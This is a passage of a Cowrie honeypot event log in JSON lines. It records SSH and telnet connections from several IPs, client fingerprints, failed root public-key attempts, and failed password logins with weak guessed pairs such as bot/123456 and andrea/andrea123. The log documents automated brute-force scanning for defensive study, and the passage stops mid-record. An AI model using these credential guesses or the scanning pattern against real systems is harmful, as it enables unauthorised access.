{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:87:34:6f:93:4e:b7:52:95:d1:6b:4e:f7:9f:fd:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcfyAEdjJ5PHNUmPLEMMrmdUGCLAQapoyUN76+U7Wuhv7zEMCxRl++yLSEn/wH2F6adL4s4uj6XIJ2WaHwtuj64lzWJ9PRc3WoHC2VXZhT7j3imlfNFszWFv442tHjTMAIxtZiDMWgfKftQh29UjZUheWLKfl9mB7w4W3TcO0D+cXUs1HNFZVRKemV1aPSKS7yfGCtQnqNSNuHdkSvnQfaS9ZfSUp6ZNHiQydB6rgqy87t/eVRV0IzbugSNY39MtjSY1WtGsImDBN7uy2g+r8o4lUY8t3pURbmV6BsTG17BeCMT7sa0suaGc7edcQpRdKP+1puwZYQtldULn/N3JKmwHPs+aMtXlSmFulVmAUZVV4WFwrVNo1buishw3nBIVIn6GwmGLvJS5bEIjkr6YO3jhBjttvJOuz/fFfyL4eB0Cow03HokgZ9Lzc6Smd5/doB+nJ1Qz1TJCG6f15Lm6lzh9qdQ6Il7E0RFkS6PGYb9j4KzUH1zLwi6EVswz+90XK4S6JS9SDfzKKTQgi45m6h9GhAKhST7GdXoYFYlHKDGTSLr9X70LPOnxnp9rRyELxJg69Dw6wBqoCy6koX1vtwQx7+EHrGInsuiO40lgNntwwNNx+cuoHnd17qPS8XKAjJMVcqhlZrBfZm3e/PXCwVUxdxCJUH+Lwqm2N8s5mqUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:87:34:6f:93:4e:b7:52:95:d1:6b:4e:f7:9f:fd:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.895286Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:87:34:6f:93:4e:b7:52:95:d1:6b:4e:f7:9f:fd:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcfyAEdjJ5PHNUmPLEMMrmdUGCLAQapoyUN76+U7Wuhv7zEMCxRl++yLSEn/wH2F6adL4s4uj6XIJ2WaHwtuj64lzWJ9PRc3WoHC2VXZhT7j3imlfNFszWFv442tHjTMAIxtZiDMWgfKftQh29UjZUheWLKfl9mB7w4W3TcO0D+cXUs1HNFZVRKemV1aPSKS7yfGCtQnqNSNuHdkSvnQfaS9ZfSUp6ZNHiQydB6rgqy87t/eVRV0IzbugSNY39MtjSY1WtGsImDBN7uy2g+r8o4lUY8t3pURbmV6BsTG17BeCMT7sa0suaGc7edcQpRdKP+1puwZYQtldULn/N3JKmwHPs+aMtXlSmFulVmAUZVV4WFwrVNo1buishw3nBIVIn6GwmGLvJS5bEIjkr6YO3jhBjttvJOuz/fFfyL4eB0Cow03HokgZ9Lzc6Smd5/doB+nJ1Qz1TJCG6f15Lm6lzh9qdQ6Il7E0RFkS6PGYb9j4KzUH1zLwi6EVswz+90XK4S6JS9SDfzKKTQgi45m6h9GhAKhST7GdXoYFYlHKDGTSLr9X70LPOnxnp9rRyELxJg69Dw6wBqoCy6koX1vtwQx7+EHrGInsuiO40lgNntwwNNx+cuoHnd17qPS8XKAjJMVcqhlZrBfZm3e/PXCwVUxdxCJUH+Lwqm2N8s5mqUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.900106Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:35:aa:f3:96:d6:10:4e:6a:9f:ad:3b:20:94:57:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKxfb6uPPT/u1y87dhOnqXJtksNhomxWAlTOnUlQrHrejlLK4448uum90TswBqnshthZgWTvxPtDjaDnXIjtEwmYO26r6pUKXSLZtaQMvRIqXYdudmN59mllI7/H72Nt0AZ994lng5Bs5skFA2K/KVGjL2SECw1kR+ggwCd4jMmAidkML6a1axiS7dpT3iuItaScXKux1V7yiH6ZgBKJSmXeRFL857wnIE3CyiWrkdptaF2m7rCqmGKyrg6JlvlN2nsD7YHitxgE8ftxcmnuPnymFsrHVo0HDXAYrPw4rLu+1KH7rxc+l2oqpRjB5IAlGOqRCy49ztVpdfl6mJ1MWP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:35:aa:f3:96:d6:10:4e:6a:9f:ad:3b:20:94:57:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.994823Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:35:aa:f3:96:d6:10:4e:6a:9f:ad:3b:20:94:57:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKxfb6uPPT/u1y87dhOnqXJtksNhomxWAlTOnUlQrHrejlLK4448uum90TswBqnshthZgWTvxPtDjaDnXIjtEwmYO26r6pUKXSLZtaQMvRIqXYdudmN59mllI7/H72Nt0AZ994lng5Bs5skFA2K/KVGjL2SECw1kR+ggwCd4jMmAidkML6a1axiS7dpT3iuItaScXKux1V7yiH6ZgBKJSmXeRFL857wnIE3CyiWrkdptaF2m7rCqmGKyrg6JlvlN2nsD7YHitxgE8ftxcmnuPnymFsrHVo0HDXAYrPw4rLu+1KH7rxc+l2oqpRjB5IAlGOqRCy49ztVpdfl6mJ1MWP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.998756Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:62:20:3c:ad:1c:94:21:11:51:f0:ad:7f:38:50:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO/yboYoKLfAHWkHkI3Zj6lw+JPOgUmz5QyE5rMGXlHf3BEwV/x9dhBN8z4ZhDNV09wo66XHyc6MLODCS+dJzXeZaAd/67OXfnpLkAvOt778I9rJ7M7LT4O9isBqJh8s+20+MxMEpwYvlAv+8ZQmDGuFjSx+HSGzQxuzDatH09gRAAAAFQDbpRSAZifzlC13nmG1BXtsUt5UtwAAAIBlF1bOBDNZM7sY9wFMFOnDnHQbYmFi8SOpdtSYqsrauK8Dq1lKKba4BJeuhd65yLaf0yql2UoQ0grP31lrOKa1pmaIalKyGnsjkpl2AK658BfdevLGNpq+OfxdXx0DUpzDn7Hr/v6s1sDlMaArP+MGkWVwrgP27TELinmcW7PvpgAAAIEAqp7K861Bfbnami6nPD9+gaN451r384Ts/tu3DjELn8rjmwlhUCsx8dO5pRGib57Pj7hd3MLfP7YLovwNvrrKV59A0unPzJRKqSyBr6T/XAeaiX7pC3Ab6AnoHhkmeE6OY2sOFVF/SlSjDOlxBkvj9l1cLKd6Y8Nj5ZHgxDu1T9U=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 42:62:20:3c:ad:1c:94:21:11:51:f0:ad:7f:38:50:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:45.104226Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:62:20:3c:ad:1c:94:21:11:51:f0:ad:7f:38:50:88","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO/yboYoKLfAHWkHkI3Zj6lw+JPOgUmz5QyE5rMGXlHf3BEwV/x9dhBN8z4ZhDNV09wo66XHyc6MLODCS+dJzXeZaAd/67OXfnpLkAvOt778I9rJ7M7LT4O9isBqJh8s+20+MxMEpwYvlAv+8ZQmDGuFjSx+HSGzQxuzDatH09gRAAAAFQDbpRSAZifzlC13nmG1BXtsUt5UtwAAAIBlF1bOBDNZM7sY9wFMFOnDnHQbYmFi8SOpdtSYqsrauK8Dq1lKKba4BJeuhd65yLaf0yql2UoQ0grP31lrOKa1pmaIalKyGnsjkpl2AK658BfdevLGNpq+OfxdXx0DUpzDn7Hr/v6s1sDlMaArP+MGkWVwrgP27TELinmcW7PvpgAAAIEAqp7K861Bfbnami6nPD9+gaN451r384Ts/tu3DjELn8rjmwlhUCsx8dO5pRGib57Pj7hd3MLfP7YLovwNvrrKV59A0unPzJRKqSyBr6T/XAeaiX7pC3Ab6AnoHhkmeE6OY2sOFVF/SlSjDOlxBkvj9l1cLKd6Y8Nj5ZHgxDu1T9U=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:45.108798Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:45.205417Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36398,"dst_ip":"10.17.0.5","dst_port":23,"session":"e86d48c8ce28","protocol":"telnet","message":"New connection: 152.42.224.71:36398 (10.17.0.5:23) [session: e86d48c8ce28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:45.896510Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56540,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f57e8811128","protocol":"ssh","message":"New connection: 45.156.87.204:56540 (159.203.135.109:22) [session: 9f57e8811128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:46.376819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:46.381521Z","src_ip":"45.156.87.204","session":"9f57e8811128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:46.464043Z","src_ip":"45.156.87.204","session":"9f57e8811128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.56663274765015,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:46.581280Z","src_ip":"152.42.224.71","session":"f1dcf1cd2c5e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:46.710781Z","src_ip":"45.156.87.204","session":"9f57e8811128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:47.796699Z","src_ip":"45.156.87.204","session":"9f57e8811128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56544,"dst_ip":"159.203.135.109","dst_port":22,"session":"24bf809a2ff7","protocol":"ssh","message":"New connection: 45.156.87.204:56544 (159.203.135.109:22) [session: 24bf809a2ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.047308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.109718Z","src_ip":"45.156.87.204","session":"24bf809a2ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.155826Z","src_ip":"45.156.87.204","session":"24bf809a2ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":28322,"dst_ip":"159.203.135.109","dst_port":22,"session":"e077143b32d3","protocol":"ssh","message":"New connection: 94.26.106.229:28322 (159.203.135.109:22) [session: e077143b32d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.485069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.490199Z","src_ip":"94.26.106.229","session":"e077143b32d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.494680Z","src_ip":"45.156.87.204","session":"24bf809a2ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.578543Z","src_ip":"94.26.106.229","session":"e077143b32d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57730150222778,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.823437Z","src_ip":"152.42.224.71","session":"2f4c437f0d96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea123","message":"login attempt [andrea/andrea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:50.842548Z","src_ip":"94.26.106.229","session":"e077143b32d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5622d4a7d9","protocol":"telnet","message":"New connection: 152.42.224.71:36414 (10.17.0.5:23) [session: bd5622d4a7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:51.223292Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:51.578545Z","src_ip":"45.156.87.204","session":"24bf809a2ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:51.932763Z","src_ip":"94.26.106.229","session":"e077143b32d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":28324,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed98d53db4af","protocol":"ssh","message":"New connection: 94.26.106.229:28324 (159.203.135.109:22) [session: ed98d53db4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.041303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.045724Z","src_ip":"94.26.106.229","session":"ed98d53db4af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.129699Z","src_ip":"94.26.106.229","session":"ed98d53db4af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.379998Z","src_ip":"94.26.106.229","session":"ed98d53db4af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42252,"dst_ip":"159.203.135.109","dst_port":22,"session":"6adcc927c924","protocol":"ssh","message":"New connection: 94.26.106.229:42252 (159.203.135.109:22) [session: 6adcc927c924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.592808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.597603Z","src_ip":"94.26.106.229","session":"6adcc927c924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.685039Z","src_ip":"94.26.106.229","session":"6adcc927c924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46551e728a7","protocol":"ssh","message":"New connection: 45.156.87.204:49614 (159.203.135.109:22) [session: e46551e728a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.765272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.769058Z","src_ip":"45.156.87.204","session":"e46551e728a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-pol